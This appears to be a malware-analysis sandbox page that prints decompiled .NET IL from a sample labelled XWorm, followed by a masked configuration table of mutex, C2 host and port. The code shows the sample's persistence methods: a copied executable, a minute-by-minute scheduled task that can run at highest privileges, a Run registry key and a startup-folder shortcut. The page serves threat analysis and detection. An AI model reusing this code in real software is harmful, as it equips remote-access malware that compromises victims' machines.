stsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::kLpzu3UU25JDJkRsVFgVdnyk1uwLfDXvv3
leave.s IL_00CB: call System.Boolean Stub.FaMyQciHHKC1abu9hV9z16WbHNwHfuO8Yi49dawOMGrmSunQso80d9Y1Zmpwm7MLdJ::9ECu9eoeGWLR3C5bnOTa74Jl5YNEUCVRsVDSY3aehzlMQc3oPt0()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.3 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00CB: call System.Boolean Stub.FaMyQciHHKC1abu9hV9z16WbHNwHfuO8Yi49dawOMGrmSunQso80d9Y1Zmpwm7MLdJ::9ECu9eoeGWLR3C5bnOTa74Jl5YNEUCVRsVDSY3aehzlMQc3oPt0()
call System.Boolean Stub.FaMyQciHHKC1abu9hV9z16WbHNwHfuO8Yi49dawOMGrmSunQso80d9Y1Zmpwm7MLdJ::9ECu9eoeGWLR3C5bnOTa74Jl5YNEUCVRsVDSY3aehzlMQc3oPt0()
brtrue.s IL_00D8: call System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::OtLkRtoqoTS1aSLwKzA5bxqcr5KmxKAEtx()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::OtLkRtoqoTS1aSLwKzA5bxqcr5KmxKAEtx()
leave.s IL_00EE: call System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::rtybpbrf1ufGV7GO8Mo59aDptIHUxcGcVt()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_4
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00EE: call System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::rtybpbrf1ufGV7GO8Mo59aDptIHUxcGcVt()
call System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::rtybpbrf1ufGV7GO8Mo59aDptIHUxcGcVt()
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::nyIeazjCo4a1vn62gq5pgI2S8kEmaqNUXq
ldstr \
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::kLpzu3UU25JDJkRsVFgVdnyk1uwLfDXvv3
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory()
callvirt System.String System.IO.DirectoryInfo::get_FullName()
stloc.s V_5
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue.s IL_0135: ldloc.0
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_014C: ldc.i4 1000
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.0 <null>
ldsfld System.String Stub.FaMyQciHHKC1abu9hV9z16WbHNwHfuO8Yi49dawOMGrmSunQso80d9Y1Zmpwm7MLdJ::2DfwnVVWx6lDiFJblpGTTb5vXcHOaXoIIaUJtuTq6BC6ngtouoe
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_0177: ldstr "schtasks.exe"
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0177: ldstr "schtasks.exe"
ldstr schtasks.exe
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
ldloc.s V_9
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.String Stub.WPVRIkABeax7h8aScf0SyiWqZQkuEHYpkm::Wh4V6uIszilcS0D3n7IR1rhiBzS78yuczi()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_01DD: ldloc.s V_9
ldloc.s V_9
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
ldc.i4.0 <null>
ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_14
ldc.i4.1 <null>
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::kLpzu3UU25JDJkRsVFgVdnyk1uwLfDXvv3
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_14
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_14
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_14
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_14
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
br.s IL_0221: ldloc.s V_9
ldloc.s V_9
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
ldc.i4.0 <null>
ldstr /create /f /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_14
ldc.i4.1 <null>
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::kLpzu3UU25JDJkRsVFgVdnyk1uwLfDXvv3
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_14
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_14
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_14
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_14
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_9
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_8
ldloc.s V_8
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_0242: call My.BGb4vpAbUR8HIwJo350CCYiPbfJh6RhsfD My.BMRbhGqPvde2GYR7nBiL2ENiaiNDWQaEgZ::1RthgB3KIe0u5LZi6eA6c7zxgfZkCroKgB()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_10
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0242: call My.BGb4vpAbUR8HIwJo350CCYiPbfJh6RhsfD My.BMRbhGqPvde2GYR7nBiL2ENiaiNDWQaEgZ::1RthgB3KIe0u5LZi6eA6c7zxgfZkCroKgB()
call My.BGb4vpAbUR8HIwJo350CCYiPbfJh6RhsfD My.BMRbhGqPvde2GYR7nBiL2ENiaiNDWQaEgZ::1RthgB3KIe0u5LZi6eA6c7zxgfZkCroKgB()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::kLpzu3UU25JDJkRsVFgVdnyk1uwLfDXvv3
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.0 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave.s IL_027D: ldc.i4.7
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_11
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_027D: ldc.i4.7
ldc.i4.7 <null>
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr \
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::kLpzu3UU25JDJkRsVFgVdnyk1uwLfDXvv3
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldstr .lnk
call System.String System.String::Concat(System.String,System.String,System.String,System.String)
stloc.s V_12
ldstr WScript.Shell
ldstr 
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldstr CreateShortcut
ldc.i4.1 <null>
newarr System.Object
stloc.s V_15
ldloc.s V_15
ldc.i4.0 <null>
ldloc.s V_12
stelem.ref <null>
ldloc.s V_15
stloc.s V_16
ldloc.s V_16
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_17
ldloc.s V_17
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_17
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_17
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_0302: stloc.s V_18
ldloc.s V_16
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_12
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldstr TargetPath
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_19
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_18
ldnull <null>
ldstr WorkingDirectory
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldstr 
stelem.ref <null>
ldloc.s V_19
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_18
ldnull <null>
ldstr Save
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldnull <null>
stloc.s V_18
ldloc.s V_12
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Stub.FaMyQciHHKC1abu9hV9z16WbHNwHfuO8Yi49dawOMGrmSunQso80d9Y1Zmpwm7MLdJ::8B87903IE52qJPUF324Sh7E6zkL2herKGodyCFjtZkISEVHrggv
leave.s IL_0381: call System.Void Stub.64Tc6Fehx1k7BXae4s4ADXLT9NhLeO8GvQK0XBksgcTKd0HjSbimCSok5B62Yfz2tI::c4sMd02Jw1muQUWn6HiZP8pDGfH4CdhCoc07FhwgMvUuNPDtrS457y0uSkrQLGN5gw()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_13
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0381: call System.Void Stub.64Tc6Fehx1k7BXae4s4ADXLT9NhLeO8GvQK0XBksgcTKd0HjSbimCSok5B62Yfz2tI::c4sMd02Jw1muQUWn6HiZP8pDGfH4CdhCoc07FhwgMvUuNPDtrS457y0uSkrQLGN5gw()
call System.Void Stub.64Tc6Fehx1k7BXae4s4ADXLT9NhLeO8GvQK0XBksgcTKd0HjSbimCSok5B62Yfz2tI::c4sMd02Jw1muQUWn6HiZP8pDGfH4CdhCoc07FhwgMvUuNPDtrS457y0uSkrQLGN5gw()
call System.Void Stub.FaMyQciHHKC1abu9hV9z16WbHNwHfuO8Yi49dawOMGrmSunQso80d9Y1Zmpwm7MLdJ::3mxibycM4QN3kHuT8HYdbgfUJnGHjonKneIHPMmQLLTLUIKPByFKwqyEtpuykm93bN()
ldnull <null>
ldftn System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::fBPXNZs3F06xJ0QwGenSFIPCAKQE27FTk5()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.WPVRIkABeax7h8aScf0SyiWqZQkuEHYpkm::Wh4V6uIszilcS0D3n7IR1rhiBzS78yuczi()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_03B2: ldnull
call System.Void Stub.Yo975KwL6niSWQ6xdsDkoMc1fR4PyMrqOKy2vA9Z4oRJZpYIQMQa1p3FKjIv6T6OaA::wGQyj5mUL19KIzkFMj5TXI4FTL1FpfbbHaodXJuwLpr9pAljHgVHIxUcNVZL34Rvkr()
ldnull <null>
ldftn System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::UIIngLSB4opkbIvePvEm2M2NOtvyU9075u()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::ThHSntgbF4GPztjXYHxPBNshcgm8lMeslh()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Mutex MUTEXmalicious
Rx6I6huhuhuhuhuhuhu
CnC CNCmalicious
tcp.chuhuhuhuhuhuhu
Port PORTmalicious
5huhuhuhu
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
1 malicious · 14 files
EXE229eead018d5239fec9bc7dea6aea973XWorm
Structure
Config. Field Value
Mutex Rx6I6huhuhuhuhuhuhu
Hosts tcp.chuhuhuhuhuhuhu
Port 5huhuhuhu
KEY <wahuhuhuhu
USBNM <Xwhuhuhuhu
LoggerPath %Phuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Mutex MUTEXmalicious
Rx6I6huhuhuhuhuhuhu
229eead018d5239fec9bc7dea6aea973
CnC CNCmalicious
tcp.chuhuhuhuhuhuhu
229eead018d5239fec9bc7dea6aea973
Port PORTmalicious
5huhuhuhu
229eead018d5239fec9bc7dea6aea973
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
Sign in or create a free account to view the matching YARA rules. Create a free account
An error has occurred. This application may no longer respond until reloaded. Reload 🗙